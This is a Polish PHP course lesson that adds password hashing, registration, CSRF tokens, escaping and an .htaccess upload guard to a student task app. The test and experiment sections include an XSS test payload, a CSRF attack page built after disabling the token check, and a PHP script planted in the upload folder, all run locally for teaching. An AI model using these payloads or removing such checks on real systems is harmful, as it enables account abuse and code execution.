2. Dopisz pod nią walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array. Zwraca tablicę komunikatów, nie rzuca wyjątków, niczego nie wyświetla. Reguły i komunikaty:

Reguły imienia znasz z Lekcji 14. Wtedy były w walidujDaneLogowania(), a w L18 z niej zniknęły.

Testy (w brudnopisie z require_once pliku funkcje_tekstowe.php):

ROZWIĄZANIE: sekcja 11, includes/funkcje_tekstowe.php.

Krok 3 — funkcje bazy

W includes/funkcje_bazy.php dopisz na końcu dwie funkcje (nagłówek pliku: „(Lekcje 18–22)”):

1. pobierzDaneLogowania(mysqli $polaczenie, string $login): ?array — SELECT id, haslo_hash FROM uzytkownicy WHERE login = ?. Zwraca wiersz ['id' => ..., 'haslo_hash' => ...] albo null, gdy takiego loginu nie ma.
2. dodajUzytkownika(mysqli $polaczenie, string $login, string $imieUzytkownika, string $hasloHash): int — INSERT loginu, imienia i hasha (pozostałe kolumny dostają wartości domyślne). Zwraca id nowego użytkownika.

Obie piszesz według wzorów z L18 i L19 (wczytajUzytkownika(), dodajZadanie()).

Dlaczego nie wczytajUzytkownika()? Obiekt Uzytkownik nie ma i nie będzie miał hasha. Obiekt trafia na każdą stronę, a hash jest potrzebny tylko w jednym miejscu, przy logowaniu. Dlatego hash czyta jedna funkcja i tylko ona (reguła z L18: w SELECT wymieniamy kolumny, nigdy *).

znajdzIdUzytkownika() zostaje. Użyjesz jej przy rejestracji.

ROZWIĄZANIE: sekcja 11, includes/funkcje_bazy.php.

Krok 4 — logowanie z hasłem (zaloguj.php)

Zmiany w zaloguj.php:

1. Formularz: pod polem loginu nowe pole <input type="password" id="haslo" name="haslo" required> z etykietą „Hasło”. Bez value: hasła nie odsyłamy do przeglądarki nawet po błędzie. Do formularza dochodzi ukryte pole z tokenem ($tokenCsrf przed $nazwaStrony).
2. Tekst: zdanie „Wersja demonstracyjna: podaj login konta zapisanego w bazie — bez hasła.” usuwasz. Pod formularzem dochodzi <p>Nie masz konta? <a href="rejestracja.php">Załóż konto</a></p>.
3. Odczyt: $haslo = $_POST['haslo'] ?? ''; — bez trim().
4. Token i walidacja: jak w dodaj-zadanie.php: zły token → komunikat, w przeciwnym razie walidujDaneLogowania($login, $haslo).
5. Sprawdzenie w bazie: zamiast znajdzIdUzytkownika() → pobierzDaneLogowania(). Jeśli wynik to null albo password_verify() zwraca false, dopisz do $bledy jeden wspólny komunikat Nieprawidłowy login lub hasło. W przeciwnym razie jak dotąd: session_regenerate_id(true), $_SESSION['uzytkownik_id'] (teraz z $daneLogowania['id']), komunikat, przekierowanie.
6. Escapowanie: value loginu i $bladBazy — jeśli nie zrobiłaś/zrobiłeś tego w sekcji 4.

Dlaczego jeden komunikat? Do tej pory TaskQuest mówił „Nie ma użytkownika o takim loginie.”. To podpowiedź dla atakującego: wiadomo, które loginy istnieją, więc wystarczy zgadywać tylko hasło. Komunikat „Nieprawidłowy login lub hasło.” nie zdradza, która część się nie zgadza.

Zmienna $uzytkownikId z L18 znika, jej miejsce zajmuje $daneLogowania.

ROZWIĄZANIE: sekcja 11, zaloguj.php (pełny plik).

Sprawdzenie:

7. Kolejne zadanie — rejestracja

Teraz połączysz wszystko z tej lekcji w jednym nowym pliku. Nowe konta mogą dziś powstać tylko w phpMyAdmin. Gracz musi móc założyć konto sam.

SAMODZIELNIE

Utwórz rejestracja.php według schematu strony z formularzem (L13), wzorując się na nowym zaloguj.php:

1. Strona tylko dla niezalogowanych. Zalogowany gracz jest przekierowany na index.php (jak w zaloguj.php).
2. Formularz POST z tokenem i czterema polami: login (maxlength="20"), imie (maxlength="30"), haslo i powtorzone_haslo (oba type="password"). Wszystkie z etykietą i required. Formularz zachowuje po błędzie login i imię (escapowane!), hasła nie.
3. Po wysłaniu: trim() na loginie i imieniu, hasła bez zmian → zły token albo walidujDaneRejestracji() → jeśli brak błędów:
   • login zajęty (znajdzIdUzytkownika() nie zwraca null) → Ten login jest już zajęty.,
   • w przeciwnym razie dodajUzytkownika() z hashem hasła, a potem od razu zalogowanie: session_regenerate_id(true), $_SESSION['uzytkownik_id'], komunikat Konto zostało założone. Witaj w TaskQuest!, przekierowanie na index.php.
4. Awaria bazy: ramka <p class="blad">Nie udało się założyć konta: ...</p>.
5. Tytuł strony: Rejestracja — TaskQuest. Pod formularzem: <p>Masz już konto? <a href="zaloguj.php">Zaloguj się</a></p>.

Efekt: nowe konto pojawia się w phpMyAdmin z hashem, 0 XP, serią 0 i bez avatara. Gracz od razu widzi swoją pustą listę zadań i kółko z pierwszą literą imienia.

try {
    $polaczenie = polaczZBaza();

    if (znajdzIdUzytkownika($polaczenie, $login) !== null) {
        $bledy[] = 'Ten login jest już zajęty.';
    } else {
        $uzytkownikId = dodajUzytkownika($polaczenie, $login, $imieUzytkownika, password_hash(...));

        // zalogowanie jak w zaloguj.php
    }
} catch (Exception $wyjatek) {
    $bladBazy = $wyjatek->getMessage();
}

ROZWIĄZANIE: Sekcja 11, rejestracja.php (pełny plik).

8. Katalog avatarów pod ochroną serwera

W Lekcji 21 katalog uploads/avatary/ chroniła tylko walidacja w profil.php. Sprawdźmy, co by było, gdyby do tego katalogu trafił plik .php.

1. Utwórz w uploads/avatary/ plik test.php:

   <?php
echo 'Ten skrypt został wykonany!';

2. Otwórz http://localhost/taskquest/uploads/avatary/test.php. Serwer wykonał skrypt. Gdyby ktoś podrzucił tu swój skrypt, mógłby czytać pliki projektu (w tym config.php z hasłem do bazy), zmieniać je i usuwać.
   
3. Otwórz http://localhost/taskquest/uploads/avatary/. Apache pokazuje listę wszystkich plików w katalogu, czyli avatary wszystkich graczy.
   

Apache czyta ustawienia z plików .htaccess umieszczonych w katalogach strony. Utwórz w VS Code plik uploads/avatary/.htaccess (nazwa zaczyna się od kropki i nie ma rozszerzenia):

# TaskQuest (L22): pliki od graczy nie mogą być wykonywane jako skrypty.
Options -Indexes

<FilesMatch "\.(php|php[0-9]|phtml|phar)$">
    Require all denied
</FilesMatch>

• Options -Indexes wyłącza listę plików katalogu.
• FilesMatch z wyrażeniem regularnym (znasz je z L8) wybiera pliki z końcówkami, które serwer mógłby wykonać jako PHP, a Require all denied zabrania dostępu do nich.

Sprawdzenie:

Usuń test.php.

W XAMPP pliki .htaccess w htdocs działają od razu. Na innym serwerze administrator może je wyłączyć. Najpewniejsze rozwiązanie to trzymanie przesłanych plików poza katalogiem publicznym i wydawanie ich przez skrypt PHP. W TaskQuest zostajemy przy .htaccess.

Diagnostyka i stopka

1. W diagnostyka.php dopisz do $wymaganePliki ścieżki 'rejestracja.php' i 'uploads/avatary/.htaccess' (razem 23). czyPlikIstnieje() działa też dla pliku z kropką na początku.
2. W includes/footer.php zmień wersję na TaskQuest 2.2.

9. Testy

Przed testami uruchom ponownie sql/taskquest.sql (krok 6.4) i opróżnij uploads/avatary/ (poza .htaccess!).

Test 1 — regresja

Zaloguj się jako Kama_2026 / KamaQuest26. Lista zadań, liczniki, pasek XP, „Zrobione!” (XP rośnie), „Usuń”, filtr widoku, avatar, ranking i wylogowanie działają jak po Lekcji 21. Zaloguj się jako Ola_TQ / OlaQuest26 — widać jej jedno zadanie.

Test 2 — logowanie

Tabela w kroku 6.4, krok 4. Szczególnie ważne: nieistniejący login i złe hasło dają ten sam komunikat.

Test 3 — rejestracja

Załóż konto: login Nowy_Gracz, imię Ala, hasło tajnehaslo1 (dwa razy).

• Lądujesz na liście zadań z komunikatem „Konto zostało założone. Witaj w TaskQuest!”.
• Widzisz kółko z literą A, 0 XP, pustą listę zadań.
• W rankingu: Ola, Kama, Nowy_Gracz.
• W phpMyAdmin nowy wiersz ma haslo_hash zaczynający się od $2y$, a avatar i data_ostatniej_aktywnosci równe NULL.
• Wyloguj się i zaloguj ponownie Nowy_Gracz / tajnehaslo1.

Test 4 — walidacja rejestracji

Test 5 — XSS

1. Zadanie z tytułem <img src="x" onerror="alert(1)"> i opisem <b>pogrubione?</b> — na liście i w „najpilniejszym zadaniu” widać dosłowny tekst, bez okienka.
2. Zarejestruj konto z imieniem <i>Ala</i> — powitanie pokazuje dosłownie <i>Ala</i>, a w kółku avatara jest znak <.
3. Formularz nowego zadania: tytuł Cytat "PHP" i 'MySQL', XP abc → błąd walidacji, a pole tytułu zawiera cały tytuł z cudzysłowami.
4. Formularz nowego zadania: opis </textarea><b>X</b>, XP abc → błąd walidacji, formularz wygląda normalnie, a opis jest w polu w całości.

Test 6 — CSRF

1. atak.html w Firefoksie (zalogowana Kama) → formularz z komunikatem o wygasłym formularzu, zadanie nie zostało dodane.
2. W Firefoksie otwórz stronę logowania. W narzędziach przeglądarki (F12 → Dane → Ciasteczka) usuń ciasteczko PHPSESSID. Wpisz poprawne dane Kamy i wyślij → komunikat o wygasłym formularzu. Ponowne wysłanie (formularz ma już nowy token) → logowanie działa.
3. Otwórz „+ Dodaj zadanie” w jednej karcie. W drugiej karcie wyloguj się i zaloguj jeszcze raz. W pierwszej karcie wypełnij formularz i wyślij → komunikat o wygasłym formularzu, wpisane dane zostały w polach.

Test 7 — katalog avatarów

Tabela w sekcji 8.

Test 8 — diagnostyka

diagnostyka.php — 23 pliki, wszystkie [OK]. Zmień nazwę .htaccess na htaccess.txt → [BRAK] przy uploads/avatary/.htaccess. Przywróć nazwę.

Test 9 — baza nie działa

Zatrzymaj MySQL w XAMPP. Logowanie → ramka „Nie udało się zalogować: Nie udało się połączyć z bazą danych.” Rejestracja → „Nie udało się założyć konta: …”, login i imię zostały w polach. Uruchom MySQL.

10. Obowiązkowe eksperymenty

Po każdym eksperymencie przywróć kod.

Eksperyment 1: kolejność escapowania

Dodaj zadanie z opisem:

Porównać wyniki testów z klasą 3A i 3B, potem Q&A z nauczycielem

Na liście opis jest skrócony do: ... potem Q&A .... Teraz w pętli listy w index.php zamień kolejność: najpierw htmlspecialchars(), potem skrocOpis(), czyli skrocOpis(htmlspecialchars($zadanie->pobierzOpis())). Odśwież.

Na liście pojawia się ... potem Q&am.... htmlspecialchars() zamienił & na pięć znaków &, a skrocOpis() przeciął encję w połowie. Przeglądarka dostała niepełne &am i wyświetliła je jako zwykły tekst. Wniosek: escapujemy na samym końcu.

Eksperyment 2: podwójne escapowanie

W dodaj-zadanie.php, tuż przed wywołaniem dodajZadanie(), dopisz tymczasowo $tytulZadania = htmlspecialchars($tytulZadania);. Dodaj zadanie Tom & Jerry.

Na liście widać Tom & Jerry, a w phpMyAdmin w kolumnie tytul jest zapisane Tom & Jerry. Tekst został zamieniony dwa razy: przy zapisie i przy wyświetlaniu. Gdyby TaskQuest kiedyś wysyłał ten tytuł w e-mailu albo do aplikacji mobilnej, tam też pokazałby się śmieć. Usuń linię i to zadanie.

Eksperyment 3: CSRF usuwa zadanie

1. W usun-zadanie.php zamień blok sprawdzający token w komentarz.
2. Skopiuj atak.html jako atak2.html. Zmień action na usun-zadanie.php, usuń cztery ukryte pola i dodaj jedno: name="id" z numerem któregoś zadania Kamy (znajdziesz go w źródle strony listy albo w phpMyAdmin).
3. W Firefoksie (zalogowana Kama) otwórz atak2.html. Zadanie zniknęło, a Kama zobaczyła komunikat „Zadanie zostało usunięte.”.
4. Przywróć sprawdzanie tokenu i otwórz atak2.html jeszcze raz → „Nie udało się wykonać akcji. Spróbuj jeszcze raz.”, zadania nie ubywa.

Eksperyment 4: wolny hash to zaleta

W brudnopisie:

$start = microtime(true);
password_hash('KamaQuest26', PASSWORD_DEFAULT);
echo '<p>password_hash: ' . round(microtime(true) - $start, 3) . ' s</p>';

$start = microtime(true);
password_hash('KamaQuest26', PASSWORD_DEFAULT, ['cost' => 14]);
echo '<p>password_hash, koszt 14: ' . round(microtime(true) - $start, 3) . ' s</p>';

$start = microtime(true);
for ($i = 0; $i < 100000; $i++) {
    md5('KamaQuest26' . $i);
}
echo '<p>100 000 × md5: ' . round(microtime(true) - $start, 3) . ' s</p>';

Na typowym komputerze szkolnym zobaczysz mniej więcej: jeden password_hash() trwa kilka setnych sekundy, z kosztem 14 około sekundy, a sto tysięcy md5() kilka setnych sekundy. Dla gracza różnica jest niezauważalna, bo loguje się raz. Atakujący, który ma wykradziony hash i sprawdza miliony haseł, przy password_hash() potrzebuje tysięcy razy więcej czasu niż przy md5. Każde zwiększenie kosztu o 1 podwaja ten czas.

11. ROZWIĄZANIE

Poniżej wszystkie pliki, które zmieniły się w Lekcji 22. Pliki niewymienione (klasy, config.php, header.php, funkcje_grywalizacji.php, funkcje_terminow.php, funkcje_zadan.php, funkcje_avatara.php) są identyczne jak po Lekcji 21.

CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NOT NULL,          -- (L22) wynik password_hash()
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL,       -- NULL = brak aktywności
    avatar VARCHAR(100) NULL                   -- (L21) nazwa pliku w uploads/avatary; NULL = brak avatara
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- (L22) hasła kont testowych: Kama_2026 → KamaQuest26, Ola_TQ → OlaQuest26
INSERT INTO uzytkownicy (login, imie, haslo_hash, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', '$2y$10$TvnmsPnl0sMZ9thSeswJXO0X0GJHKfBLmJW7.W9FQ0JSnLVq0tEGy', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', '$2y$10$IC7t4ZwMprlNySlkvZAjK.51hLq0Js/fAlwfemXNX1EhrNhwgmcF.', 250, 0, NULL);

function walidujDaneLogowania(string $login, string $haslo): array
{
    $bledy = [];

    if (!walidujLogin($login)) {
        $bledy[] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    if ($haslo === '') {
        $bledy[] = 'Podaj hasło.';
    }

    return $bledy;
}

function walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array
{
    $bledy = [];

    if (!walidujLogin($login)) {
        $bledy[] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    if ($imieUzytkownika === '') {
        $bledy[] = 'Imię jest wymagane.';
    } elseif (mb_strlen($imieUzytkownika) > 30) {
        $bledy[] = 'Imię może mieć najwyżej 30 znaków.';
    }

    if (mb_strlen($haslo) < 8) {
        $bledy[] = 'Hasło musi mieć co najmniej 8 znaków.';
    } elseif ($haslo !== $powtorzoneHaslo) {
        $bledy[] = 'Hasła nie są takie same.';
    }

    return $bledy;
}

function pobierzDaneLogowania(mysqli $polaczenie, string $login): ?array
{
    $zapytanie = $polaczenie->prepare('SELECT id, haslo_hash FROM uzytkownicy WHERE login = ?');
    $zapytanie->bind_param('s', $login);
    $zapytanie->execute();
    $wynik = $zapytanie->get_result();

    return $wynik->fetch_assoc();   // null, gdy nie ma takiego loginu
}

function dodajUzytkownika(mysqli $polaczenie, string $login, string $imieUzytkownika, string $hasloHash): int
{
    $zapytanie = $polaczenie->prepare('INSERT INTO uzytkownicy (login, imie, haslo_hash) VALUES (?, ?, ?)');
    $zapytanie->bind_param('sss', $login, $imieUzytkownika, $hasloHash);
    $zapytanie->execute();

    return $zapytanie->insert_id;
}

<?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}

$login = '';
$bledy = [];
$bladBazy = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST['login'] ?? '');
    $haslo = $_POST['haslo'] ?? '';

    if (!sprawdzTokenCsrf()) {
        $bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujDaneLogowania($login, $haslo);
    }

    if ($bledy === []) {
        try {
            $polaczenie = polaczZBaza();
            $daneLogowania = pobierzDaneLogowania($polaczenie, $login);

            if ($daneLogowania === null || !password_verify($haslo, $daneLogowania['haslo_hash'])) {
                $bledy[] = 'Nieprawidłowy login lub hasło.';
            } else {
                session_regenerate_id(true);
                $_SESSION['uzytkownik_id'] = $daneLogowania['id'];

                ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek->getMessage();
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>

<h2>Logowanie</h2>

<?php if ($bledy !== []) { ?>
    <div class="blad">
        <p>Popraw formularz:</p>
        <ul>
            <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
            <?php } ?>
        </ul>
    </div>
<?php } ?>

<?php if ($bladBazy !== null) { ?>
    <p class="blad">Nie udało się zalogować: <?= htmlspecialchars($bladBazy); ?></p>
<?php } ?>

<form method="post" action="zaloguj.php">
    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">

    <label for="login">Login</label>
    <input type="text" id="login" name="login" maxlength="20" value="<?= htmlspecialchars($login); ?>" required>

    <label for="haslo">Hasło</label>
    <input type="password" id="haslo" name="haslo" required>

    <button type="submit">Wejdź do TaskQuest</button>
</form>

<p>Nie masz konta? <a href="rejestracja.php">Załóż konto</a></p>

<?php require_once __DIR__ . '/includes/footer.php'; ?>

<?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}

$login = '';
$imieUzytkownika = '';
$bledy = [];
$bladBazy = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST['login'] ?? '');
    $imieUzytkownika = trim($_POST['imie'] ?? '');
    $haslo = $_POST['haslo'] ?? '';
    $powtorzoneHaslo = $_POST['powtorzone_haslo'] ?? '';

    if (!sprawdzTokenCsrf()) {
        $bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujDaneRejestracji($login, $imieUzytkownika, $haslo, $powtorzoneHaslo);
    }

    if ($bledy === []) {
        try {
            $polaczenie = polaczZBaza();

            if (znajdzIdUzytkownika($polaczenie, $login) !== null) {
                $bledy[] = 'Ten login jest już zajęty.';
            } else {
                $uzytkownikId = dodajUzytkownika($polaczenie, $login, $imieUzytkownika, password_hash($haslo, PASSWORD_DEFAULT));

                session_regenerate_id(true);
                $_SESSION['uzytkownik_id'] = $uzytkownikId;

                ustawKomunikat('Konto zostało założone. Witaj w TaskQuest!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek->getMessage();
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Rejestracja — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>

<h2>Załóż konto</h2>

<?php if ($bledy !== []) { ?>
    <div class="blad">
        <p>Popraw formularz:</p>
        <ul>
            <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
            <?php } ?>
        </ul>
    </div>
<?php } ?>

<?php if ($bladBazy !== null) { ?>
    <p class="blad">Nie udało się założyć konta: <?= htmlspecialchars($bladBazy); ?></p>
<?php } ?>

<form method="post" action="rejestracja.php">
    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">

    <label for="login">Login (3–20 znaków: litery bez polskich znaków, cyfry, _ lub -)</label>
    <input type="text" id="login" name="login" maxlength="20" value="<?= htmlspecialchars($login); ?>" required>

    <label for="imie">Imię</label>
    <input type="text" id="imie" name="imie" maxlength="30" value="<?= htmlspecialchars($imieUzytkownika); ?>" required>

    <label for="haslo">Hasło (co najmniej 8 znaków)</label>
    <input type="password" id="haslo" name="haslo" required>

    <label for="powtorzone_haslo">Powtórz hasło</label>
    <input type="password" id="powtorzone_haslo" name="powtorzone_haslo" required>

    <button type="submit">Załóż konto</button>
</form>

<p>Masz już konto? <a href="zaloguj.php">Zaloguj się</a></p>

<?php require_once __DIR__ . '/includes/footer.php'; ?>

<?php

session_start();

require_once __DIR__ . '/includes/funkcje_sesji.php';

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}

if (!sprawdzTokenCsrf()) {
    header('Location: index.php');
    exit;
}

$_SESSION = [];

if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();

header('Location: zaloguj.php');
exit;

<?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_avatara.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();

$bledy = [];
$bladZapisu = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $plik = $_FILES['avatar'] ?? null;

    if ($plik === null) {
        $bledy[] = 'Plik jest za duży albo nie został wysłany.';
    } elseif (!sprawdzTokenCsrf()) {
        $bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujAvatar($plik);
    }

    if ($bledy === []) {
        $nazwaPlikuAvatara = 'avatar_' . $_SESSION['uzytkownik_id'] . '_' . time() . '.' . rozszerzenieAvatara($plik['name']);
        $sciezkaAvatara = __DIR__ . '/' . KATALOG_AVATAROW . '/' . $nazwaPlikuAvatara;

        if (!move_uploaded_file($plik['tmp_name'], $sciezkaAvatara)) {
            $bladZapisu = 'Nie udało się zapisać pliku na serwerze.';
        } else {
            try {
                $polaczenie = polaczZBaza();
                zapiszAvatarUzytkownika($polaczenie, $_SESSION['uzytkownik_id'], $nazwaPlikuAvatara);

                ustawKomunikat('Avatar został zmieniony.');
                header('Location: index.php');
                exit;
            } catch (Exception $wyjatek) {
                $bladZapisu = $wyjatek->getMessage();
            }
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Profil — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>

<h2>Twój profil</h2>
<p><a href="index.php">← Wróć do listy zadań</a></p>

<?php if ($bledy !== []) { ?>
    <div class="blad">
        <p>Popraw formularz:</p>
        <ul>
            <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
            <?php } ?>
        </ul>
    </div>
<?php } ?>

<?php if ($bladZapisu !== null) { ?>
    <p class="blad">Nie udało się zapisać avatara: <?= htmlspecialchars($bladZapisu); ?></p>
<?php } ?>

<form method="post" action="profil.php" enctype="multipart/form-data">
    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">

    <label for="avatar">Avatar (JPG, PNG lub WEBP, najwyżej 1 MB)</label>
    <input type="file" id="avatar" name="avatar" accept=".jpg,.jpeg,.png,.webp" required>

    <button type="submit">Zapisz avatar</button>
</form>

<?php require_once __DIR__ . '/includes/footer.php'; ?>

$bledy = walidujNoweZadanie(

    if (!sprawdzTokenCsrf()) {
        $bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujNoweZadanie($tytulZadania, $opisZadania, $terminZadania, $xpZadania);
    }

    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">

    <input type="text" id="tytul" name="tytul" maxlength="100" value="<?= htmlspecialchars($tytulZadania); ?>" required>
    <textarea id="opis" name="opis" rows="3" maxlength="300"><?= htmlspecialchars($opisZadania); ?></textarea>
    <input type="date" id="termin" name="termin" value="<?= htmlspecialchars($terminZadania); ?>" required>
    <input type="number" id="xp" name="xp" min="1" max="100" value="<?= htmlspecialchars($xpZadania); ?>" required>

if (!sprawdzTokenCsrf()) {
    ustawKomunikat('Nie udało się wykonać akcji. Spróbuj jeszcze raz.');
    header('Location: index.php');
    exit;
}

// --- token CSRF do formularzy na stronie ---
$tokenCsrf = pobierzTokenCsrf();

<?php if ($uzytkownik->pobierzAvatar() !== null) { ?>
    <img class="avatar" src="<?= htmlspecialchars(KATALOG_AVATAROW . '/' . $uzytkownik->pobierzAvatar()); ?>" alt="Avatar gracza">
<?php } else { ?>
    <span class="avatar avatar-litera"><?= htmlspecialchars(mb_substr($uzytkownik->pobierzImie(), 0, 1)); ?></span>
<?php } ?>

<form class="akcja" method="post" action="oznacz-wykonane.php">
    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">
    <input type="hidden" name="id" value="<?= $zadanie->pobierzId(); ?>">
    <button type="submit">Zrobione!</button>
</form>

        <p>TaskQuest 2.2</p>
    </div>
</body>
</html>

12. Co zmieniliśmy w TaskQuest?

Zostaje

wszystko z Lekcji 21: zadania w bazie, dodawanie, „Zrobione!” z XP i streakiem, usuwanie, ranking,
filtr widoku z cookie, komunikaty jednorazowe, avatar z walidacją pliku
sesja z samym uzytkownik_id, session_regenerate_id(true) przy logowaniu, wylogowanie tylko POST
wszystkie zapytania przez prepared statements (bez zmian — audyt w sekcji 3.3)
klasy Zadanie i Uzytkownik bez zmian (Uzytkownik nie zna hasha)
znajdzIdUzytkownika() — teraz używana przy rejestracji

Dochodzi

baza: haslo_hash NOT NULL, hashe kont testowych (KamaQuest26, OlaQuest26)
includes/funkcje_sesji.php:
    pobierzTokenCsrf(): string
    sprawdzTokenCsrf(): bool
includes/funkcje_tekstowe.php:
    walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array
includes/funkcje_bazy.php:
    pobierzDaneLogowania(mysqli, string $login): ?array
    dodajUzytkownika(mysqli, string $login, string $imieUzytkownika, string $hasloHash): int
rejestracja.php — zakładanie konta i automatyczne zalogowanie
uploads/avatary/.htaccess — bez wykonywania PHP i bez listy plików
klucz sesji 'token_csrf', ukryte pole token_csrf w 7 rodzajach formularzy, zmienna $tokenCsrf na stronach z formularzami
htmlspecialchars() przy wyświetlaniu tekstu spoza kodu

Nowe mechanizmy PHP: htmlspecialchars(), random_bytes(), bin2hex(), hash_equals(), password_hash() z PASSWORD_DEFAULT, password_verify(), <input type="password">; w brudnopisie $polaczenie->query() (tylko do pokazania ataku), md5() (tylko do porównania), microtime(). Poza PHP: plik .htaccess (Options -Indexes, FilesMatch, Require all denied).

Zmieniamy

• walidujDaneLogowania(): nowy parametr $haslo, reguła „Podaj hasło.”,
• zaloguj.php: pole hasła, password_verify(), wspólny komunikat, token, link do rejestracji,
• wyloguj.php, oznacz-wykonane.php, usun-zadanie.php, dodaj-zadanie.php, profil.php: sprawdzenie tokenu,
• index.php, dodaj-zadanie.php, profil.php, strony akcji: escapowanie,
• diagnostyka.php: 23 ścieżki, stopka: 2.2.

Usuwamy

• komunikat „Nie ma użytkownika o takim loginie.” — zdradzał, które loginy istnieją,
• zdanie „Wersja demonstracyjna…” w zaloguj.php — logowanie nie jest już demonstracyjne,
• zmienną $uzytkownikId w zaloguj.php — zastępuje ją $daneLogowania (w rejestracja.php $uzytkownikId jest nowym id),
• konta bez hasła (haslo_hash = NULL).

Co nowego potrafi TaskQuest po tej lekcji?

Po Lekcji 22 TaskQuest ma prawdziwe konta: gracz zakłada je sam, a logowanie wymaga hasła, które w bazie jest zapisane wyłącznie jako hash. Tekst wpisany przez graczy zawsze wyświetla się jako tekst, więc nie da się nim wstrzyknąć skryptu. Formularze wysłane z obcych stron są odrzucane, a w katalogu avatarów serwer nie wykona żadnego skryptu.

13. Zadania końcowe — rozbuduj TaskQuest samodzielnie

Nie są częścią wersji referencyjnej.

A. Zmiana hasła. Na profil.php (albo na nowej stronie zmien-haslo.php) formularz: obecne hasło, nowe hasło, powtórzone nowe hasło. Obecne hasło sprawdzasz password_verify(). Skąd weźmiesz hash, skoro w sesji masz tylko id (nowa funkcja bazy)? Reguły nowego hasła są takie same jak w walidujDaneRejestracji(). Jak ich nie powielić? Nowy hash zapisujesz UPDATEem. Dlaczego warto po zmianie hasła wywołać session_regenerate_id(true)? Jeśli formularz trafi na profil.php, jak strona odróżni go od formularza avatara?

B. Ciasteczko sesji niedostępne dla JavaScriptu. Przed każdym session_start() (8 plików) dodaj session_set_cookie_params(['httponly' => true, 'samesite' => 'Lax']);. Sprawdzenie: w konsoli przeglądarki (F12 → Konsola) polecenie document.cookie przed zmianą pokazuje PHPSESSID, a po zmianie już nie. Odpowiedz: czy HttpOnly zastępuje htmlspecialchars()? Czy SameSite=Lax zastępuje token CSRF? (Wskazówka: sekcja 5.1.) Czy 8 kopii tej samej linii to dobre rozwiązanie? Zaproponuj lepsze.

C. Blokada po nieudanych próbach. Dodaj do uzytkownicy kolumny nieudane_logowania INT UNSIGNED NOT NULL DEFAULT 0 i blokada_do DATETIME NULL. Po 5 nieudanych próbach dla danego loginu logowanie na to konto jest zablokowane na 5 minut, a po udanym logowaniu licznik wraca do 0. Dlaczego licznik nie może być w sesji albo w ciasteczku? Jak atakujący może użyć tej blokady przeciwko innemu graczowi? Czy komunikat o blokadzie zdradza, że login istnieje?

D. Nagłówki bezpieczeństwa. Na samej górze includes/header.php, przed HTML, wyślij header('X-Frame-Options: DENY'); i header('X-Content-Type-Options: nosniff');. Sprawdź nagłówki w narzędziach przeglądarki (Sieć → wybierz żądanie → Nagłówki odpowiedzi). Utwórz na pulpicie plik ramka.html z <iframe src="http://localhost/taskquest/zaloguj.php"> i porównaj efekt przed zmianą i po niej. Opisz jednym zdaniem, przed jakim atakiem chroni pierwszy nagłówek.

Sprzątanie

